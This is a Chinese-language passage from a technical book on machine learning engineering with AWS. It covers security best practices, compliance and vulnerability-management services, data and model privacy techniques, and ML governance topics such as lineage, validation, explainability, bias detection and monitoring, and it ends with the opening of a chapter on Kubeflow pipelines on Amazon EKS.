在这里,我们可以看到即使应用程序运行在 EC2 实例内部,我们也可以从本地机器访问 Jupyter Notebook 应用程序。在这里,我们使用 SSH 隧道将连接通过 SSH 的安全通道进行转发。
要设置此环境,我们只需运行一个类似于以下命令块中的命令(假设我们的本地机器是 Unix 操作系统):
ssh <user>@<IP address of instance> -NL 14344:localhost:8888
命令运行后,我们应该能够通过在浏览器中访问以下链接来在本地访问 Jupyter Notebook 应用程序:localhost:14344
。
既然我们已经讨论了几种加密数据的技术,那么让我们继续讨论一些可以帮助我们管理环境合规性的服务。
管理合规性报告
除了保护机器学习和系统外,对于数据科学团队来说,管理 AWS 账户中使用的资源和流程的整体合规性至关重要。管理合规性涉及确定组织需要遵守的相关法规和指南(例如,HIPAA、PCI-DSS和GDPR),并执行推荐的一系列步骤以实现(并维持)所需的合规性。
安全性和合规性由 AWS 和客户共享。客户通常需要关注以下方面:
-
客户操作系统
-
在 AWS 服务之上运行的所有应用程序
-
使用不同 AWS 资源的配置
注意
更多关于共享责任模型的详细信息,请查看aws.amazon.com/compliance/shared-responsibility-model/
。
在处理合规性执行和报告时,AWS 提供了各种服务、工具和能力:
-
AWS Artifact:这是安全性和合规性文档、报告和资源的集中来源。在这里,我们可以下载我们将需要的有关安全性和合规性文档。
-
AWS Config:这可以用来持续监控 AWS 资源的配置,并启用自动修复以确保机器学习和系统符合性。
-
AWS Audit Manager:这有助于简化 AWS 资源的风险和合规性评估。
-
AWS 合规中心:这是云相关法规资源的集中来源。
我们不会深入探讨这些服务如何使用的细节,因此请随意查看本章末尾的进一步阅读部分以获取更多详细信息。在下一节中,我们将快速讨论一些可以帮助我们进行漏洞管理的相关服务。
漏洞管理
实施安全最佳实践并不能保证环境或系统免受攻击。除了遵循安全最佳实践和合规性要求外,团队应使用各种漏洞评估和管理工具来检查系统中可能被利用的漏洞。
在 AWS 中检测和管理漏洞的一个实用解决方案是Amazon Inspector。Amazon Inspector 通过自动检测推送到 Amazon ECR 的 EC2 实例和容器镜像中的漏洞来实现自动漏洞管理。这是如何工作的?每当检测到“更改”(例如,将容器镜像推送到 ECR)时,Amazon Inspector 会自动扫描资源,这样用户就不需要手动启动漏洞扫描。这意味着如果我们正在为SageMaker Processing作业、训练作业或 ML 推理端点准备和构建自定义容器镜像,每次我们将新版本推送到 Amazon ECR 存储库时,Amazon Inspector 都会自动为我们扫描容器镜像。如果 Amazon Inspector 检测到并报告了漏洞,下一步就是我们对受影响的资源执行所需的修复步骤。
注意
想要了解如何使用和设置 Amazon Inspector 的逐步教程,请查看medium.com/@arvs.lat/automated-vulnerability-management-on-aws-with-amazon-inspector-53c572bf8515
。
除了 Amazon Inspector,我们还可以使用以下服务和功能来管理在 AWS 上我们的 ML 环境中的安全风险和漏洞:
-
Amazon CodeGuru Reviewer:这可以用于分析代码并使用安全检测器自动检测安全问题。
-
Amazon GuardDuty:这可以用于自动检测 AWS 账户中的恶意活动,如权限提升攻击。
-
AWS Security Hub:这可以用于自动化安全检查和执行云安全态势管理。
在我们结束本节之前,让我们快速讨论如何使用防火墙保护 ML 推理端点。在第三章 深度学习容器中,我们使用服务的自定义容器镜像支持在 Lambda 函数内部部署了我们的 ML 模型。然后,我们设置并配置了一个 API Gateway HTTP API 触发器,当有新的端点请求时触发 Lambda 函数。如果我们想保护这个设置并使这个无服务器 API 可供公众使用,我们可以配置一个AWS Web 应用程序防火墙(WAF)来保护它,如图中所示:
图 9.3 – 使用 AWS WAF 保护 API 端点
AWS WAF 通过使用“规则”来保护已部署的 Web 应用程序免受利用现有漏洞的攻击,这些规则解决了包括新兴的通用漏洞和暴露(CVEs)、开放 Web 应用程序安全项目(OWASP)前 10 大漏洞等问题。
注意
注意,如果我们的 API 网关与 SageMaker 推理端点接口,这个解决方案也将适用——无论我们使用API 网关映射模板还是Lambda 函数来调用 SageMaker 推理端点。我们还可以使用 AWS WAF 来保护我们的Amazon CloudFront和应用程序负载均衡器(ALB)资源,以保护在 ALB 后面运行的 ML 推理端点的 EC2 实例。
到目前为止,我们应该对管理机器学习环境的安全性和合规性的不同解决方案和策略有了很好的了解。在下一节中,我们将深入探讨保护数据隐私和模型隐私的不同技术。
保护数据隐私和模型隐私
在处理机器学习和机器学习工程需求时,我们需要确保我们保护训练数据,以及生成的模型参数,免受攻击者侵害。如果有机会,这些恶意行为者将执行各种攻击,以提取训练模型的参数,甚至恢复用于训练模型的原始数据。这意味着个人身份信息(PII)可能会被泄露和窃取。如果模型参数被破坏,攻击者可能能够通过重新创建公司花费数月或数年开发的模型来进行推理。这很可怕,对吧? 让我们分享一些攻击者可以执行的攻击示例:
-
模型反演攻击:攻击者试图恢复用于训练模型的训练数据集。
-
模型提取攻击:攻击者试图通过预测输出值窃取训练好的模型。
-
成员推断攻击:攻击者试图推断一个记录是否是用于训练模型的训练数据集的一部分。
-
属性推断攻击:攻击者试图猜测训练记录中缺失的属性(使用可用的部分信息)。
现在我们对一些可能的攻击有了更好的了解,让我们讨论我们可以使用的解决方案和防御机制,以保护数据和模型的隐私。
联邦学习
让我们先从联邦学习谈起,但在我们这么做之前,让我们将其与典型的机器学习训练和部署方式进行比较,后者是集中式的:
图 9.4 – 集中式机器学习
在这里,数据是从用户的移动设备收集到集中位置的,在单个机器(或使用分布式训练的机器集群)上执行机器学习模型训练步骤。由于发送到集中位置的数据可能包含关于用户的敏感信息,因此这种方法存在关于数据所有权、隐私和局部性的问题。为了管理这些问题,我们可以利用联邦学习,其中训练步骤直接在边缘设备上执行,如下面的图所示:
图 9.5 – 联邦机器学习
在这里,只有模型被发送回服务器并“合并”以生成新的全局模型。这有助于解决隐私保护问题,因为数据保持在边缘设备上。在第七章的“部署策略和最佳实践”部分中,我们提到,在部署和管理边缘设备上的机器学习模型时,我们可以使用SageMaker Edge Manager以及其他服务。在这里,我们假设模型已经训练好,我们只是在部署步骤中使用这些服务。模型是如何训练的?以下是一些可能的解决方案:
-
使用TensorFlow Federated(
www.tensorflow.org/federated
)和PyTorch Mobile(pytorch.org/mobile/home/
)等解决方案,这些解决方案可用于联邦机器学习需求。 -
使用Flower(
flower.dev/
)框架,以及AWS IoT Greengrass、Amazon ECS和AWS Step Functions等服务来管理在边缘设备上进行联邦学习时的训练集群不可预测性和协调器到设备挑战。 -
使用OpenMined/SwiftSyft(在 iOS 设备上)和OpenMined/KotlinSyft(在 Android 设备上)等解决方案来训练和部署用TensorFlow或PyTorch编写的PySyft模型。
注意
PySyft是什么?它是OpenMined的一个库,利用联邦学习、差分隐私和加密计算来满足安全和隐私的深度学习需求。如果你想知道差分隐私和加密计算是什么,我们现在就来讨论这些内容!
差分隐私
现在,让我们来谈谈差分隐私。差分隐私涉及使用技术来保护数据集中关于个体记录共享的信息,这将使攻击者更难逆向工程原始数据。这些技术包括在生成统计数据时,向训练数据或模型参数中添加精心设计的随机噪声。以下是一些示例和解决方案:
-
在训练自然语言处理(NLP)模型和分析 SageMaker 中的数据时使用一种名为度量差分隐私的变体。在这里,训练数据集中单词的“意义”得到保留,同时保护个体记录的隐私。有关更多信息,请参阅
www.amazon.science/blog/preserving-privacy-in-analyses-of-textual-data
。 -
在使用开源的TensorFlow Privacy库训练具有最小代码更改的隐私保护机器学习模型时。更多信息,请查看
blog.tensorflow.org/2019/03/introducing-tensorflow-privacy-learning.xhtml
。 -
使用开源的Opacus库在训练 PyTorch 模型的同时启用差分隐私。更多信息,请查看
opacus.ai/
。
注意
如果您想知道这些解决方案如何在 AWS 中使用,我们只需在将要执行机器学习实验的资源内部安装所需的软件包和库(例如,pip install opacus
)。例如,如果我们使用pip install opacus
启动了一个 EC2 实例。如果我们使用脚本模式时使用requirements.txt
文件,或者提供将被 SageMaker 使用的自定义容器镜像。
隐私保护机器学习
在隐私保护机器学习(PPML)这一类技术中,即使输入模型的数据负载被加密,也可以执行 ML 推理。这意味着我们可以在将敏感数据作为负载传递给 ML 推理端点之前对其进行保护和加密。在 PPML 模型对加密负载进行推理后,结果会被加密返回给发送者。最后一步是发送者解密结果。这很酷,对吧?一个例子是隐私保护 XGBoost 模型,它利用隐私保护加密方案和工具,如顺序保持加密(OPE)、伪随机函数(PRFs)和加法同态加密(AHE)来对加密查询进行预测。当使用SageMaker 托管服务部署隐私保护 XGBoost 模型时,我们可以使用自定义容器镜像,这样在推理过程中使用的软件包和代码就更有灵活性。请注意,PPML 会增加一些计算开销,并且与未加密版本相比,生成的模型在性能上通常较慢。
注意
我们不会深入探讨本书中 PPML 的工作细节。更多信息,请查看www.amazon.science/publications/privacy-preserving-xgboost-inference
。
其他解决方案和选项
最后,当涉及到管理数据隐私时,数据科学团队应充分利用他们所使用的服务和工具现有的安全特性和功能。除了本章其他部分提到的内容外,以下是我们保护 AWS 中的数据时可以使用的其他服务和功能:
-
Amazon Macie:用于通过自动发现敏感数据(如 PII)来评估存储在 S3 中的数据的隐私和安全。
-
Redshift 支持行级安全性和列级访问控制:用于启用对 Redshift 表中行和列的细粒度访问。
-
*******@email.com
而不是johndoe@email.com
)。 -
Redshift 支持跨账户数据共享:用于在 AWS 账户之间共享存储在 Redshift 仓库中的数据(这样在需要共享访问时,数据就不再需要复制和传输到另一个账户)。
-
Amazon OpenSearch 服务字段掩码支持:在执行 Amazon OpenSearch 服务的搜索查询时,使用基于模式的字段掩码来隐藏敏感数据,如 PII。
-
S3 对象 Lambda:使用自定义代码来处理和修改 S3 GET 请求的输出(包括掩码和编辑数据的能力)。
-
AWS Lake Formation 支持行级和单元格级安全:这使查询结果和 AWS Glue ETL 作业的细粒度访问成为可能。
-
主成分分析(SageMaker 内置算法):一种基于 PCA 的转换,用于在保护数据隐私的同时保留数据的“本质”。
到目前为止,我们应该对管理数据和模型隐私的不同方法有了更好的理解。在下一节中,我们将讨论机器学习治理,并讨论 AWS 中可用的不同解决方案。
建立机器学习治理
在处理机器学习项目和需求时,必须尽早考虑机器学习治理。由于以下原因,治理经验较差的公司和团队会面临短期和长期问题:
-
缺乏对机器学习模型清晰和准确的清单跟踪
-
关于模型可解释性和可解释性的局限性
-
训练数据中存在偏差
-
训练和推理数据分布的不一致性
-
缺乏自动化的实验谱系跟踪流程
我们如何处理这些问题和挑战? 我们可以通过建立机器学习治理(正确的方式)并确保以下领域被考虑来解决和管理这些问题:
-
谱系跟踪和可重复性
-
模型清单
-
模型验证
-
机器学习可解释性
-
偏差检测
-
模型监控
-
数据分析和数据质量报告
-
数据完整性管理
我们将在本节中详细讨论这些内容。在继续之前,请随意喝杯咖啡或茶!
谱系跟踪和可重复性
在 第六章 SageMaker 训练和调试解决方案 中,我们讨论了在使用训练数据集、算法、特定超参数值的配置以及其他相关训练配置参数值作为训练作业的输入后,如何生成机器学习模型。
数据科学家和机器学习从业者必须能够验证模型是否可以使用相同的配置设置构建和重现,包括其他“输入”如训练数据集和算法。如果我们只处理一个实验,手动跟踪这些信息相对容易。也许将此信息存储在电子表格或 Markdown 文件中就能解决问题!随着我们需求的演变,这些信息可能会在过程中丢失,尤其是在手动操作的情况下。话虽如此,一旦我们需要使用各种超参数配置值的组合(例如,使用 SageMaker 的自动模型调优功能)运行多个训练实验,跟踪这个“历史”或血缘就会变得更加困难和复杂。好消息是,SageMaker 自动帮助我们通过SageMaker ML 血缘跟踪和SageMaker 实验来跟踪这些信息。如果我们想查看实验血缘以及其他详细信息,SageMaker Studio只需几点击就能轻松获取这些信息。
注意
Machine Learning with Amazon SageMaker Cookbook) https://bit.ly/3POKbKf.
除了 SageMaker 执行的自动实验和血缘跟踪外,重要的是要注意我们还可以通过编程方式手动创建关联。我们还可以使用boto3和SageMaker Search API 来获取有关训练 ML 模型的详细信息。在大多数情况下,我们可以使用 SageMaker 控制台,以及可用的搜索功能。
如果你正在使用深度学习框架在 AWS 计算服务(如 EC2、ECS 或 Lambda)上运行训练脚本,你可以使用如ML Metadata(用于 TensorFlow)的库来跟踪血缘,以及机器学习管道中不同组件的工件。
注意
更多关于ML Metadata的信息,请查看www.tensorflow.org/tfx/tutorials/mlmd/mlmd_tutorial
。
模型库存
管理模型库存对于建立机器学习治理至关重要。能够维护一个有序的模型库存,使得数据科学团队的关键成员能够立即了解模型的当前状态和性能。
在 AWS 的机器学习环境中管理模型库存有不同方式。我们可以采取的一种可能的方法是使用各种服务构建一个定制解决方案!例如,我们可以从头开始设计和构建一个无服务器的模型注册表,使用Amazon DynamoDB、Amazon S3、Amazon ECR、Amazon API Gateway和AWS Lambda,如下面的图所示:
图 9.6 – 定制构建的模型注册表
在这个定制解决方案中,我们准备以下 Lambda 函数:
-
上传模型包:用于上传模型包(包括 ML 模型工件、训练和推理脚本、脚本将运行的环境的容器镜像以及模型元数据)
-
PENDING
、APPROVED
或REJECTED
状态,以及模型包不同组件存储的标识符和路径 -
PENDING
、APPROVED
或REJECTED
如果需要扩展此自定义模型注册表的函数,我们可以轻松地添加更多 Lambda 函数。这个选项将给我们带来最大的灵活性,但需要花费几天时间来设置整个系统。
另一种选择是使用现有的一个,例如MLFlow 模型注册表,并在 EC2 实例或 ECS 容器中部署它。最后,我们可以使用SageMaker 模型注册表,它已经具有我们需要的模型库存管理功能,例如模型批准和模型生命周期跟踪。
注意
如需了解更多信息和如何使用 SageMaker 模型注册表的详细信息,请随时查看第八章,模型监控和管理解决方案。
模型验证
在 ML 模型训练完成后,需要对其进行评估,以检查其性能是否允许实现某些业务目标。数据科学团队还需要验证模型的选择,因为简单模型可能容易欠拟合,而复杂模型则容易过拟合。同时,需要审查用于模型验证的指标,因为某些指标表示模型性能的能力取决于所解决问题的上下文。例如,对于欺诈检测用例,平衡 F 分数可能是一个更有意义的选项,比准确率更有意义(因为由于类别不平衡,模型准确率分数仍然可能很高)。
注意
如需了解更多关于平衡 F 分数的信息,请随时查看en.wikipedia.org/wiki/F-score
。
评估模型的第一种方式是通过离线测试,使用历史数据来评估训练好的模型。这可以通过使用“保留集”进行验证来完成,这些数据未用于模型训练。另一种选择是使用k 折交叉验证,这是一种流行的检测过拟合的技术。当使用 SageMaker 时,可以通过多种方式执行离线测试:
-
在 SageMaker 训练作业完成后生成的模型文件(存储在
model.tar.gz
文件中)可以通过适当的库或框架加载和评估,而无需 SageMaker 推理端点的存在。例如,使用 SageMaker 训练的线性学习器模型可以使用MXNet(例如,在容器中运行的定制应用程序内)加载,如下面的代码块所示:def load_model():
sym_json = json_load(open('mx-mod-symbol.json'))
sym_json_string = json_dumps(sym_json)
model = gluon.nn.SymbolBlock(
outputs=mxnet.sym.load_json(sym_json_string),
inputs=mxnet.sym.var('data'))
model.load_parameters(
'mx-mod-0000.params',
allow_missing=True
)
model.initialize()
return model
一旦模型经过评估,就可以部署到推理端点。
- 另一种选择是将模型部署到“alpha”机器学习推理端点,并使用历史数据对其进行评估。一旦评估步骤完成,可以将模型部署到“生产”机器学习推理端点,并删除“alpha”端点。
另一种方法涉及在线测试,使用实时数据来评估模型。可以使用 SageMaker 通过其 A/B 测试支持进行在线测试,其中可以在一个推理端点下部署两个或多个模型。采用这种方法,可以将一小部分流量路由到正在验证的模型变体,持续一定时期。一旦验证步骤完成,可以将 100%的流量路由到其中一个变体。
注意
查看以下笔记本,了解如何使用 SageMaker 设置多个模型的 A/B 测试示例:bit.ly/3uSRZSE
。
既然我们已经讨论了模型评估,让我们进一步探讨机器学习可解释性。
机器学习可解释性
在某些情况下,由于机器学习可解释性的问题,企业主和利益相关者拒绝使用某些类型的模型。有时,由于机器学习模型的复杂性,很难从概念上解释它是如何工作的,或者它是如何产生预测或推理结果的。一旦利益相关者对机器学习模型如何产生输出有更多的可见性和理解,他们更有可能批准使用某些模型。这涉及到理解每个特征对模型预测输出值的贡献程度。
注意
注意,机器学习从业者经常将模型可解释性和模型可解释性互换使用。然而,这两个术语是不同的,应该谨慎使用。可解释性关注的是机器学习模型的工作方式——即它是如何内部工作的。另一方面,可解释性关注的是机器学习模型的行为,包括输入特征值如何影响预测输出值。有关此主题的更多信息,请随时查看docs.aws.amazon.com/whitepapers/latest/model-explainability-aws-ai-ml/interpretability-versus-explainability.xhtml
。
机器学习可解释性可以通过全局可解释性和局部可解释性来处理。如果我们能够识别出每个特征对模型预测的贡献程度,那么我们就实现了全局可解释性。另一方面,如果我们能够识别出每个特征对单个记录(或数据点)的预测的贡献程度,那么我们就可以实现局部可解释性。
注意
想了解更多关于机器学习可解释性的信息,请查看docs.aws.amazon.com/sagemaker/latest/dg/clarify-model-explainability.xhtml
。
在生成机器学习可解释性报告时,以下是一些可能的解决方案:
-
使用开源库(例如,
shap
库)并在AWS Lambda函数或Amazon ECS容器中部署自定义解决方案。 -
使用SageMaker Clarify运行一个作业并生成可解释性报告:
processor = SageMakerClarifyProcessor(...)
processor.run_explainability(...)
-
使用开源库(例如,
shap
库)并使用SageMaker Processing运行自定义代码,同时使用自定义容器镜像。
既然我们已经讨论了机器学习可解释性,让我们来看看如何在 AWS 上使用各种解决方案来执行机器学习偏差检测。
偏差检测
检测机器学习偏差对于任何机器学习项目的成功至关重要。如果机器学习偏差没有被检测和缓解,利用机器学习模型的自动化系统可能会得出不公平的预测。例如,基于机器学习的招聘应用程序可能会对某些群体(例如,女性候选人)做出不公平的候选人选择。另一个例子是自动贷款申请可能会拒绝来自代表性不足的群体的贷款申请(例如,居住在特定国家的群体)。
机器学习偏差可以使用各种指标来衡量。以下是一些可以用来衡量机器学习偏差的指标:
-
类别不平衡:这衡量和检测不同组之间成员数量的任何不平衡。
-
标签不平衡:这衡量和检测不同组之间正结果之间的任何不平衡。
-
Kullback-Leibler (KL) 散度:这比较和衡量不同组的结果分布之间的差异。
-
Jensen-Shannon (JS) 散度:与 KL 散度类似,JS 散度比较和衡量不同组的结果分布之间的差异。
注意
如果你想了解更多关于衡量机器学习偏差的不同指标,请查看docs.aws.amazon.com/sagemaker/latest/dg/clarify-measure-data-bias.xhtml
。
当使用 AWS 服务和功能来检测机器学习偏差时,以下是一些可能的解决方案:
-
使用开源库(例如,
ResponsiblyAI/responsibly
)并在AWS Lambda函数或Amazon ECS容器中部署自定义解决方案。 -
使用SageMaker Clarify运行一个作业并生成预训练和后训练偏差报告:
processor = SageMakerClarifyProcessor(...)
processor.run_bias(...)
-
使用开源库(例如,
ResponsiblyAI/responsibly
库)并使用SageMaker Processing运行自定义代码,同时使用自定义容器镜像。 -
使用SageMaker Model Monitor与SageMaker Clarify一起监控推理端点中部署的模型中的偏差漂移。
在检测到机器学习偏差后,下一步是通过各种手段(根据上下文和机器学习偏差的类型)解决和缓解问题。本书不会讨论不同的偏差缓解策略,因此请随意查看 https://sagemaker-examples.readthedocs.io/en/latest/end_to_end/fraud_detection/3-mitigate-bias-train-model2-registry-e2e.xhtml#Develop-an-Unbiased-Model 以获取一个快速端到端示例。
模型监控
在第八章,模型监控与管理解决方案中,我们实现了在机器学习推理端点上的数据捕获,并随后设置了计划监控,该监控能够从捕获的数据中检测违规和数据质量问题。这种设置将帮助我们尽早发现任何不一致性,以便立即采取纠正措施。如果这些问题和不一致性得不到纠正,会发生什么? 如果不立即采取纠正措施,部署的模型可能会经历性能衰减或退化,直到“修复”被应用。当然,在应用任何纠正措施之前,我们首先需要检测这些不一致性。也就是说,我们的下一个问题将是,我们如何检测这些不一致性和问题?
图 9.7 – 检测漂移
在前面的图中,我们可以看到,通过在基线数据集和捕获的机器学习推理数据(通过机器学习推理端点)上执行所需的分析(例如,数据质量检查),我们可以检测到“漂移”。一旦完成所需的分析,基线数据集和捕获的机器学习推理数据的分析结果将被比较,以查看结果差异是否超过某个阈值。
注意,我们可以使用 SageMaker 模型监控器 检测以下问题:
-
数据质量漂移:这是通过比较以下内容来检测的:
-
[“属性” – A]:用于训练部署模型的基线数据集的统计性质和属性(例如,数据类型)
-
[“属性” – B]:捕获的机器学习推理数据的属性
-
-
模型性能漂移:这是通过比较以下内容来检测的:
-
[“属性” – A]:模型在基线数据集上的性能
-
[“属性” – B]:模型在捕获的机器学习推理数据上的性能(与上传的地面实况标签合并)
-
-
模型偏差漂移:这是通过比较以下内容来检测的:
-
[“属性” – A]:模型在基线数据集上的偏差度量
-
[“属性” – B]:捕获的机器学习推理数据上的偏差度量
-
-
特征归因漂移:这是通过比较以下内容来检测的:
-
[“属性” – A]:基线数据集的特征分布值
-
[“属性” – B]:捕获的机器学习推理数据的特征分布值
-
注意
为了更容易理解这些概念,让我们讨论一个简单的例子,看看如何处理年龄
和薪水
。然后,我们使用这个训练数据集作为 SageMaker 模型监控器的基线。在分析数据集后,SageMaker 模型监控器返回了一组建议的约束,要求年龄和薪水的值始终为正。随后,我们将 ML 模型部署到配置为收集包含输入和输出值(即年龄输入和预测的薪水值)的请求和响应数据的 SageMaker 推理端点。然后,我们配置了一个 SageMaker 模型监控器“计划”,该计划触发一个处理作业。这个作业分析收集到的请求和响应数据,并检查是否违反了配置的约束。如果收集到的数据中包含年龄输入值的负值,SageMaker 模型监控器应该能够检测到这一点,并在计划的处理作业完成后标记此违规行为。
一旦分析完检测到的不一致性和问题,数据科学团队可能会根据问题执行以下一个或多个修复或更正操作:
-
修复向机器学习推理端点发送“不良数据”的系统中的问题。
-
用新的模型替换已部署的模型。
-
修复模型训练和部署管道中的现有问题。
现在,让我们来看看可追溯性、可观察性和审计。
可追溯性、可观察性和审计
我们必须能够审计和检查机器学习实验或部署的每一步中发生的一切,无论这些步骤是手动执行还是自动执行。这使我们能够轻松地识别和修复问题,使系统回到期望的配置状态。如果一个 ML 系统处于“不稳定”状态,ML 工程师必须能够使用正确的工具集快速进行故障排除和修复问题。
假设你的团队已经开始使用一个自动化的机器学习管道,该管道接受数据集作为输入,并在经过管道中的所有步骤后生成一个二进制分类机器学习模型作为输出。在几周的时间里,机器学习管道运行得很好...直到团队决定在管道的中间某个位置引入额外的数据处理步骤。团队注意到,由管道生成的多数二进制分类模型总是返回0
,无论输入值是什么!在管道更改实施之前,所有生成的模型都返回了0s和1s(这是预期的)。作为机器学习工程师,你决定深入调查发生了什么...结果发现机器学习管道步骤没有生成日志,这使得故障排除变得更加困难。同时,你发现没有跟踪机制可以帮团队“连接点”并分析为什么生成的模型总是为分类结果生成0
。在意识到需要几周时间来排查和修复现有问题后,你的团队决定停止使用自动化的机器学习管道(该管道花费了几个月的时间构建和打磨),并将其丢弃。哎呀! 如果有跟踪和审计机制,自动化的机器学习管道可以更快地恢复到稳定状态。
注意
不要让这种情况发生在你和你的团队身上!在构建机器学习管道时使用正确的工具集至关重要。有关机器学习管道的更多信息,请随时查看第十章,在 Amazon EKS 上使用 Kubeflow 的机器学习管道,以及第十一章,使用 SageMaker Pipelines 的机器学习管道。
作为机器学习工程师,你需要了解这些类型需求可用的“工具”。在 AWS 中对机器学习环境和系统执行审计工作时,我们可以使用以下服务和功能:
-
AWS CloudTrail:这可以用于捕获和记录 AWS 账户中的任何配置更改。
-
AWS CloudTrail Lake:这是一个用于 CloudTrail 数据分析的托管数据湖。
-
Amazon CloudWatch 日志:这包含来自各种服务(如 SageMaker、EC2 和 Redshift)的活动日志。
-
Amazon Athena CloudWatch 连接器:这使您可以使用 SQL 语句在 Amazon Athena 中查询 CloudWatch 日志数据。
-
SageMaker Model Registry:这可以用于跟踪模型部署的批准。
-
SageMaker Experiments 和 SageMaker Lineage:这些可以用于在 SageMaker 中完成实验后审计和跟踪模型血缘。
-
AWS Audit Manager:这可以用于简化并加快 AWS 账户的审计过程。
-
AWS X-Ray:这可以用于追踪整个应用程序中的请求,并排查分布式应用程序中的性能瓶颈。
我们不会深入探讨这些服务如何使用,因此请随意查看本章末尾的进一步阅读部分以获取更多详细信息。
数据质量分析和报告
能够尽早检测数据质量问题将帮助我们管理与之相关的任何风险。同时,我们能够在 ML 系统的实现、设置或架构上进行任何必要的短期和长期修正。在本节中,我们将讨论我们可以使用的某些可能的解决方案,以分析用于训练和推理的数据质量。
第一个解决方案涉及使用自定义代码和开源包来准备和生成数据质量报告。在第一章 AWS 机器学习工程简介中,我们使用了一个名为pandas_profiling
的 Python 库来自动分析我们的数据并生成分析报告。请注意,还有类似的库和包可供我们使用。当然,采用这种方法,我们将不得不自行管理基础设施方面。如果我们想升级这个设置,我们可以选择在AWS Lambda或使用Amazon ECS容器化应用程序中部署我们的自定义数据分析脚本。
另一个实用的选择是避免自己构建定制解决方案,而简单地使用现有的服务,这样我们可以专注于我们的目标和责任。在第五章 实用数据处理和分析中,我们使用了AWS Glue DataBrew来加载数据、分析数据和处理数据。在运行分析作业后,我们能够访问额外的分析和信息,包括缺失单元格值、数据分布统计和重复行。
注意
数据质量问题也可能在推理过程中出现。一旦我们将机器学习模型部署到推理端点,该模型可以对包含缺失值和数据质量问题的请求数据进行预测。在第八章 模型监控和管理解决方案中,我们启用了数据捕获并自动化了检测通过我们的 SageMaker 实时推理端点传输的数据质量违规的过程。我们安排了一个模型监控处理作业,该作业将处理数据并生成包含不同相关违规统计信息的自动报告(大约每小时一次)。
数据完整性管理
维护和管理数据完整性并非易事。检测和修复数据质量问题,如缺失值和重复行,只是挑战的第一步。管理数据完整性问题是下一个挑战,因为我们需要进一步确保数据库中存储的数据是完整、准确和一致的。
在第四章 AWS 上的无服务器数据管理中,我们将一个合成数据集加载到数据仓库(使用 Redshift Serverless)和加载到数据湖(使用 Amazon Athena、Amazon S3 和 AWS Glue)。当我们对这个数据集执行一些样本查询时,我们只是假设没有需要担心数据质量和数据完整性问题。为了刷新我们的记忆,我们的数据集包含大约 21 列,其中包括一些“派生”列。一个“派生”列的好例子是has_booking_changes
列。如果booking_changes
列的值大于0
,则has_booking_changes
列的值预期为True
。否则,has_booking_changes
的值应该是False
。为了识别booking_changes
列值与has_booking_changes
列值不匹配的记录,我们在我们的无服务器数据仓库(Redshift Serverless)中执行了以下查询:
SELECT booking_changes, has_booking_changes, *
FROM dev.public.bookings
WHERE
(booking_changes=0 AND has_booking_changes='True')
OR
(booking_changes>0 AND has_booking_changes='False');
这里有一些修复方法:
-
如果只有少数记录受到影响(相对于记录总数),那么我们可能(软删除)受影响的记录,并将这些记录排除在数据处理工作流程的未来步骤之外。请注意,这应该谨慎进行,因为排除记录可能会显著影响数据分析结果和机器学习模型性能(如果数据集用于训练机器学习模型)。
-
我们可以执行一个
UPDATE
语句来纠正booking_changes
列的值。
注意,另一个可能的长期解决方案是在将数据加载到数据仓库或数据湖之前执行所需的数据完整性检查和修正。这意味着数据仓库或数据湖中的数据预期在初始数据加载时已经是“干净的”,我们可以安全地在这些集中式数据存储中执行查询和其他操作。
注意
除了这些,还需要审查与数据交互的应用和系统。请注意,即使我们清理了数据,由于根本原因尚未解决,连接的应用程序可能会引入一组新的数据完整性问题。
就是这样! 到目前为止,我们在建立机器学习治理时应该有更广泛的选项来解决各种问题和挑战。请随意再次阅读本章,以帮助您更深入地理解不同的概念和技术。
摘要
在本章中,我们讨论了各种策略和解决方案来管理机器学习环境和系统的整体安全性、合规性和治理。我们首先通过几个最佳实践来提高机器学习环境的安全性。之后,我们讨论了有关如何保护数据隐私和模型隐私的相关技术。在本章的末尾,我们介绍了使用各种 AWS 服务建立机器学习治理的不同解决方案。
在下一章中,我们将快速介绍MLOps 管道,然后深入探讨在 AWS 中使用Kubeflow 管道自动化 ML 工作流程。
进一步阅读
如需了解更多关于本章所涉及主题的信息,请随意查阅以下资源:
-
AWS IAM 最佳实践 (
aws.amazon.com/iam/resources/best-practices/
) -
您的 VPC 安全最佳实践 (
docs.aws.amazon.com/vpc/latest/userguide/vpc-security-best-practices.xhtml
) -
AWS PrivateLink 概念 (
docs.aws.amazon.com/vpc/latest/privatelink/concepts.xhtml
) -
AWS 审计管理器概念 (
docs.aws.amazon.com/audit-manager/latest/userguide/concepts.xhtml
) -
AWS 合规中心 (
aws.amazon.com/financial-services/security-compliance/compliance-center/
) -
在 AWS Artifact 中下载报告 (
docs.aws.amazon.com/artifact/latest/ug/downloading-documents.xhtml
)
第五部分:设计和构建端到端 MLOps 管道
在本节中,读者将学习如何使用各种服务和解决方案设计和构建 MLOps 管道。
本节包括以下章节:
-
第十章, 在 Amazon EKS 上使用 Kubeflow 的机器学习管道
-
第十一章, 使用 SageMaker 管道的机器学习管道
第十章:在 Amazon EKS 上使用 Kubeflow 的机器学习管道
在 第九章 “安全、治理和合规策略” 中,我们讨论了许多概念和解决方案,这些概念和解决方案侧重于我们在处理 机器学习 (ML) 需求时需要关注的其他挑战和问题。你现在可能已经意识到,ML 实践者有很多责任和工作要做,而不仅仅是模型训练和部署!一旦模型部署到生产环境中,我们就必须监控模型,并确保我们能够检测和管理各种问题。此外,ML 工程师可能需要构建 ML 管道来自动化 ML 生命周期中的不同步骤。为了确保我们能够可靠地将 ML 模型部署到生产环境中,以及简化 ML 生命周期,最好我们学习和应用 机器学习操作 (MLOps) 的不同原则。通过 MLOps,我们将利用来自 软件工程、DevOps 和 数据工程 的经过验证的工具和实践来 生产化 ML 模型。这包括利用各种自动化技术将手动执行的 Jupyter 笔记本转换为自动化的 ML 工作流和管道。
在本章中,我们将使用 Kubeflow 在 Kubernetes 和 Amazon Elastic Kubernetes Service (EKS) 上构建和运行一个自动化的 MLOps 管道。如果你想知道这些是什么,请不要担心,我们将在后面详细讨论这些工具、平台和服务!一旦我们更好地理解了它们的工作原理,我们将更深入地探讨构建更复杂管道时推荐的策略和最佳实践,以及确保我们的设置安全并扩展。
话虽如此,在本章中,我们将涵盖以下主题:
-
深入了解 Kubeflow、Kubernetes 和 EKS
-
准备基本先决条件
-
在 Amazon EKS 上设置 Kubeflow
-
运行我们的第一个 Kubeflow 管道
-
使用 Kubeflow Pipelines SDK 构建 ML 工作流
-
清理
-
推荐策略和最佳实践
一旦我们完成本章,我们应该更有信心使用本章中学习到的工具、平台和服务构建复杂的 ML 管道。
技术要求
在我们开始之前,以下准备工作非常重要:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
